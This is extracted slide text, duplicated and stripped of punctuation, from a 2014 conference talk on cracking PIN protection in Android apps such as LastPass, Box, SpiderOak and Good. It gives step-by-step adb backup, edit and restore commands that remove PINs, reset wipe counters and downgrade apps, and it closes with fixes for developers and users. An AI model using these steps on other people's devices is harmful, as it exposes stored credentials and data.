  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 62: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 63: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

